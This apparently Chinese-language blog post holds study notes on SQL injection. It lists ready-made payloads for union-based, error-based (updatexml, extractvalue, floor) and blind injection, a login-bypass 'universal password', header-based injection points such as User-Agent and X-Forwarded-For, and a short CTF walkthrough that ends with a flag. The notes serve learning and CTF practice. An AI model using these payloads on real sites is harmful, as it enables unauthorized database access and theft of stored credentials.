SQL注入重新学习

发布于:2025-04-05 ⋅ 阅读:(26) ⋅ 点赞:(0)

前话

 sql注入一般就是构造闭合,在查询语句中构造恶意语句,因为过滤并不严格导致信息泄露,

后台登陆语句:SELECT * FROM admin WHERE Username=‘user’ and Password=‘pass’

万能密码:‘or ’1‘ = ’1‘ # ;

sql常用函数:

(1)user() 返回当前使用数据库的用户,也就是网站配置文件中连接数据库的账号 

(2)version() 返回当前数据库的版本 

(3)database() 返回当前使用的数据库,只有在use命令选择一个数据库之后,才能查到 

(4)group_concat() 把数据库中的某列数据或某几列数据合并为一个字符串

SQL(联合)注入流程:
?id=1 and 1=1
1、判断有无闭合 and 1=1 and 1=2 //结果和第一个一样说明需要闭合,反之无闭合 有闭合则需要用到 --+闭合
2、猜解字段 order by 10 //采用二分法 

3、判断数据回显位置 -1 union select 1,2,3,4,5.... //参数等号后面加-表示不显示当前数据,获取当前数据库名、用户、版本 union select version(),database(),user(),4...... 

4、获取全部数据库名

?id=-1' union select 1,2,(select group_concat(schema_name)from information_schema.schemata) --+

5、获取表名

union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema='库名'

6、获取字段名

union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='表名'

其实后面就可以直接union select 1,2,... from库名.表名--+了

SQL注入思路

1.判断注入点

在GET参数、POST参数、Cookie、Referer、XFF、UA等地方尝试插入代码、符号或语句,看看是否读取,如产生影响则说明存在注入点。

2.sql注入点类型

get注入
sql语句闭合+自己的SQL语句。

post注入
看输入是否与数据库产生交互,再判断sql语句闭合。

有些网站通过查询cookie判断用户是否登录,需要与数据库进行交互,我们可以修改cookie的值,查找我们所需要的东西。或者通过报错注入是网页返回报错信息。

Referer注入
有些网站会记录ip和访问路径,例如百度就是通过Referer来统计网站流量,我们将访问路径进行SQL注入,也可以得到想要的信息。

XFF注入
在用户登录注册模块在 HTTP 头信息添加 X-Forwarded-for: 9.9.9.9' ,用户注册时,如果存在安全隐患,会出现错误页面或者报错。从而导致注册或者登录用户失败。bp抓包,提交输入检测语句:

X-Forwarded-for: 127.0.0.1'and 1=1#
X-Forwarded-for: 127.0.0.1'and 1=2#

两次提交返回不一样,存在 SQL 注入漏洞
6. UA注入
输入点在User-Agent

3.判断闭合方式

id=1 and 1=1和id=1 and 1=2

id=1' and '1'='1和id=1' and '1'='2

id=1" and "1"="1 和 id=1" and "1"="2

还有可能包裹括号等等

也可以bp爆破

4.判断数据库语句过滤情况

正常输入sql语句如果通过查看回显来判断语句是否被过滤
判断列数
如果order by被过滤则尝试绕过,如果无法绕过就无法得到列数,这时就无法使用联合查询注入
判断显示位
如果页面没有显示位,同样无法使用联合查询注入。
报错信息
如果没有报错信息返回,则无法使用报错注入。

可以bp爆破,用bp爆过滤什么

5.绕过 过滤

直接看这篇文章MYSQL绕过大汇总——解决方法清晰-CSDN博客

6.注入方式

使用order by 查询显示位 union select 1,2,3 查询无显示,即无法得到显示位或无法得到列数时放弃使用联合查询
尝试使用报错语句?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+等没有报错信息显示时放弃使用报错注入
尝试使用布尔盲注和时间盲注(建议使用工具进行注入,不然太麻烦了)

联合查询:

库名

?id=-1' union select 1,2,database() --+

?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

表,列名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
指定数据库中指定表中所有字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

字段

?id=-1' union select 1,2,group_concat(username,password) from users --+

注意:将id值设置为0或者负数 

报错注入:

两个基础函数和语句

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
?id=1' and extactvalue(1,concat(0x7e,database(),0x7e)) --+

因为第二个参数不符合XPath格式,导致报错 

还有floor报错注入

select count(*),(floor(rand(0)*2)) as x from 表名 group by x

从网上找了个标准payload

and(select 1 from (select count(*),concat(user(),floor(rand(0)*2)) as x from information_schema.tables group by x) as y)

盲注:

布尔/时间盲注

?id=1' and (length(database()))>7 --+	
and ascii(substr(database(),1,1))>97--+

 一个一个慢慢爆,下面时间的一样

and if((length(database())>5),sleep(5),1)--+

 太麻烦一般用工具。。。。。

例题的话用考核的吧

万能密码注入 不行,

 都不行,给了提示ua注入

查看过滤的函数,可以用updatexml函数

' and updatexml(1,concat(0x7e,database(), 32)),0)#

注意后面=被过滤用like代替

一个个爆,最后得到Yunxi{b00d2053-f7b3-41eb-af20-ddcc5647a61c}

 

 

 


网站公告

今日签到

点亮在社区的每一天
去签到